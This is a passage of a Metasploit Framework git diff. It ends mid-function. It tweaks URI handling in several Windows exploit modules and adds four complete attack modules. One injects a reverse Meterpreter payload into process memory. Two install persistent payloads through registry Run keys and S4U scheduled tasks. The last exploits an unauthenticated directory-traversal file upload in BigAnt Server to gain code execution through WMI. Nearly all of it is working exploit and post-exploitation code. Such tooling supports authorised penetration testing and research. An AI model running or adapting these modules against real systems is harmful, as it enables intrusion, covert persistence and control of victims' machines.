ovf_file = <<-EOF +<?xml version="1.0" encoding="UTF-8"?> +<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1" +xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" +xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" +xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" +xmlns:vmw="http://www.vmware.com/schema/ovf" +xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" +xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> + <References> + <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" /> + </References> + <DiskSection> + <Info>Virtual disk information</Info> + <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" /> + </DiskSection> + <VirtualSystem ovf:id="Small VM"> + <Info>A virtual machine</Info> + </VirtualSystem> +</Envelope> + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 253866b1c89d..be89cbc5a488 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -103,7 +103,7 @@ def exploit print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.to_s), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499c1..34857f9f84e1 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ def initialize(info={}) def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e0959186453e..3fd2b947b875 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,7 +70,7 @@ def exploit # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR']) + '/Login.jsp?' + crash, + 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, 'method' => 'GET', 'headers' => { 'Accept' => '*/*', diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 76322d9aab6e..1e678f874d81 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,12 +126,12 @@ def get_sid pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = normalize_uri(target_uri.to_s) + uri = target_uri.path # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => "#{uri}/scgi?sid=0&pid=dologin", - 'data' => creds + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), + 'data' => creds }) # Parse response for SID token @@ -146,9 +146,9 @@ def get_root_path(sid) # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir - uri normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', }) @@ -182,9 +182,9 @@ def exploit post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 137a1686c862..b97524a3df7f 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -85,7 +85,7 @@ def exploit data = 'Content-Type: ' + sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/AdvancedDataFactory.Query', + 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), 'headers' => { 'Content-Length' => data.length, diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 60d1f7b81448..d3383308dfc0 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -128,7 +128,7 @@ def exec_cmd(sql, cmd, d) data << sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/' + method, + 'uri' => normalize_uri(datastore['PATH'], method), 'agent' => 'ACTIVEDATA', 'headers' => { @@ -200,7 +200,7 @@ def find_exec data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName', + 'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'), 'agent' => 'ACTIVEDATA', 'headers' => { diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb new file mode 100644 index 000000000000..ac2ef8c8456e --- /dev/null +++ b/modules/exploits/windows/local/payload_inject.rb @@ -0,0 +1,176 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Memory Payload Injection', + 'Description' => %q{ + This module will inject a payload into memory of a process. If a payload + isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID + datastore option isn't specified, then it'll inject into notepad.exe instead. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez <carlos_perez[at]darkoperator.com>', + 'sinn3r' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Oct 12 2011" + )) + + register_options( + [ + OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), + OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false]) + ], self.class) + end + + # Run Method for when run command is issued + def exploit + @payload_name = datastore['PAYLOAD'] + @payload_arch = framework.payloads.create(@payload_name).arch + + # syinfo is only on meterpreter sessions + print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? + + pid = get_pid + if not pid + print_error("Unable to get a proper PID") + return + end + + if @payload_arch.first =~ /64/ and client.platform =~ /x86/ + print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") + print_error("Migrate to an x64 process and try again.") + return false + else + inject_into_pid(pid) + end + end + + # Figures out which PID to inject to + def get_pid + pid = datastore['PID'] + if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid) + print_status("Launching notepad.exe...") + pid = create_temp_proc + end + + return pid + end + + + # Determines if a PID actually exists + def has_pid?(pid) + procs = [] + begin + procs = client.sys.process.processes + rescue Rex::Post::Meterpreter::RequestError + print_error("Unable to enumerate processes") + return false + end + + pids = [] + + procs.each do |p| + found_pid = p['pid'] + return true if found_pid == pid + end + + print_error("PID #{pid.to_s} does not actually exist.") + + return false + end + + # Checks the Architeture of a Payload and PID are compatible + # Returns true if they are false if they are not + def arch_check(pid) + # get the pid arch + client.sys.process.processes.each do |p| + # Check Payload Arch + if pid == p["pid"] + vprint_status("Process found checking Architecture") + if @payload_arch.first == p['arch'] + vprint_good("Process is the same architecture as the payload") + return true + else + print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.") + return false + end + end + end + end + + # Creates a temp notepad.exe to inject payload in to given the payload + # Returns process PID + def create_temp_proc() + windir = client.fs.file.expand_path("%windir%") + # Select path of executable to run depending the architecture + if @payload_arch.first== "x86" and client.platform =~ /x86/ + cmd = "#{windir}\\System32\\notepad.exe" + elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/ + cmd = "#{windir}\\System32\\notepad.exe" + elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/ + cmd = "#{windir}\\Sysnative\\notepad.exe" + elsif @payload_arch.first == "x86" and client.platform =~ /x64/ + cmd = "#{windir}\\SysWOW64\\notepad.exe" + end + + begin + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + rescue Rex::Post::Meterpreter::RequestError + return nil + end + + return proc.pid + end + + def inject_into_pid(pid) + vprint_status("Performing Architecture Check") + return if not arch_check(pid) + + begin + print_status("Preparing '#{@payload_name}' for PID #{pid}") + raw = payload.generate + + print_status("Opening process #{pid.to_s}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + if not host_process + print_error("Unable to open #{pid.to_s}") + return + end + + print_status("Allocating memory in procees #{pid}") + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + + # Ensure memory is set for execution + host_process.memory.protect(mem) + + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_good("Successfully injected payload in to process: #{pid}") + + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Unable to inject payload:") + print_line(e.to_s) + end + end + +end diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb new file mode 100644 index 000000000000..4c2dcaca1fc2 --- /dev/null +++ b/modules/exploits/windows/local/persistence.rb @@ -0,0 +1,202 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Persistent Payload Installer', + 'Description' => %q{ + This Module will create a boot persistent reverse Meterpreter session by + installing on the target host the payload as a script that will be executed + at user logon or system startup depending on privilege and selected startup + method. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Carlos Perez <carlos_perez[at]darkoperator.com>' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Oct 19 2011" + )) + + register_options( + [ + OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), + OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), + OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), + ], self.class) + + end + + # Exploit Method for when exploit command is issued + def exploit + print_status("Running module against #{sysinfo['Computer']}") + + rexename = datastore['REXENAME'] + delay = datastore['DELAY'] + reg_val = datastore['REG_NAME'] + @clean_up_rc = "" + host,port = session.session_host, session.session_port + + exe = generate_payload_exe + script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) + script_on_target = write_script_to_target(script,rexename) + + if script_on_target == nil + # exit the module because we failed to write the file on the target host. + return + end + + # Initial execution of script + if target_exec(script_on_target) == nil + # Exit if we where not able to run the payload. + return + end + + case datastore['STARTUP'] + when /USER/i + regwrite = write_to_reg("HKCU", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end + when /SYSTEM/i + regwrite = write_to_reg("HKLM", script_on_target, reg_val) + # if we could not write the entry in the registy we exit the module. + if not regwrite + return + end + end + + clean_rc = log_file() + file_local_write(clean_rc,@clean_up_rc) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + report_note(:host => host, + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end + + # Function for creating log folder and returning log path + def log_file(log_path = nil) + #Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile + end + + # Writes script to target host + def write_script_to_target(vbs,name) + tempdir = expand_path("%TEMP%") + if name == nil + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + else + tempvbs = tempdir + "\\" + name + ".vbs" + end + begin + write_file(tempvbs, vbs) + print_good("Persistent Script written to #{tempvbs}") + @clean_up_rc << "rm #{tempvbs}\n" + rescue + print_error("Could not write the payload on the target hosts.") + # return nil since we could not write the file on the target host. + tempvbs = nil + end + return tempvbs + end + + # Executes script on target and return the PID of the process + def target_exec(script_on_target) + execsuccess = true + print_status("Executing script #{script_on_target}") + # error handling for process.execute() can throw a RequestError in send_request. + begin + if datastore['EXE::Custom'].nil? + session.shell_command_token(script_on_target) + else + session.shell_command_token("cscript \"#{script_on_target}\"") + end + rescue + print_error("Failed to execute payload on target host.") + execsuccess = nil + end + return execsuccess + end + + # Installs payload in to the registry HKLM or HKCU + def write_to_reg(key,script_on_target, registry_value) + # Lets start to assume we had success. + write_success = true + if registry_value.nil? + nam = Rex::Text.rand_text_alpha(rand(8)+8) + else + nam = registry_value + end + + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + + if(key) + set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + if set_return + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + else + print_error("Failed to make entry in the registry for persistence.") + write_success = false + end + else + print_error("Error: failed to open the registry key for writing") + write_success = false + end + end + +end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 000000000000..188b8e643c28 --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,385 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_status("The properties of any event in the event viewer will contain this information") + fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_rexe(rexe_path, payload) + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + write_xml(xml, xml_path, rexe_path) + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + if not rexename =~ /\.exe$/ + print_warning("#{datastore['REXENAME']} isn't an exe") + end + return rexename + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end + begin + write_file(path, payload) + rescue => e + fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") + end + print_status("Successfully uploaded remote executable to #{path}") + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine creation date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? + # Append xpath queries + line << " and #{datastore['XPATH']}" + # Print XPath query, useful to user to spot issues with uncommented single quotes + print_status("XPath query: #{line}") + end + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<") + + # Insert expire tag if not 0 + unless datastore['EXPIRE_TIME'] == 0 + # Generate expire tag + end_boundary = create_expire_tag + # Inject expire tag + insert = xml.index("</StartBoundary>") + xml.insert(insert + 16, "\n #{end_boundary}") + end + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "<SessionStateChangeTrigger>\n" + temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 + temp_xml << " <Enabled>true</Enabled>\n" + temp_xml << " <StateChange>#{trig}</StateChange>\n" + temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n" + temp_xml << " </SessionStateChangeTrigger>" + + xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "<EventTrigger>\n" + temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 + temp_xml << " <Enabled>true</Enabled>\n" + temp_xml << " <Subscription><QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "</Subscription>\n" + temp_xml << " </EventTrigger>" + + xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path, rexe_path) + if file? path + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end + begin + write_file(path, xml) + rescue + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") + end + print_status("Successfully wrote XML file to #{path}") + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + file_rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + end + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + # Clean up + delete_file(rexe_path) + delete_file(path) + error = "The scheduled task name is already in use" + fail_with(Exploit::Failure::Unknown, error) + else + error = "Issues creating task using XML file schtasks" + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + fail_with(Exploit::Failure::Unknown, error) + end + end +end diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb new file mode 100644 index 000000000000..769d2e22527c --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -0,0 +1,127 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', + 'Description' => %q{ + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. + A lack of authentication allows to make unauthenticated file uploads through a DUPF + command. Additionally the filename option in the same command can be used to launch + a directory traversal attack and achieve arbitrary file upload. + + The module uses uses the Windows Management Instrumentation service to execute an + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 + SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6274' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89342' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options( + [ + Opt::RPORT(6661), + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) + ], self.class) + + end + + def upload_file(filename, content) + + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "sendcheck: 1\n\n" + dupf << content + + print_status("sending DUPF") + connect + sock.put(dupf) + res = sock.get_once + disconnect + return res + + end + + def exploit + + peer = "#{rhost}:#{rport}" + + # Setup the necessary files to do the wbemexec trick + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + exe = generate_payload_exe + mof_name = rand_text_alpha(rand(10)+5) + '.mof' + mof = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{exe_name} uploaded successfully") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + 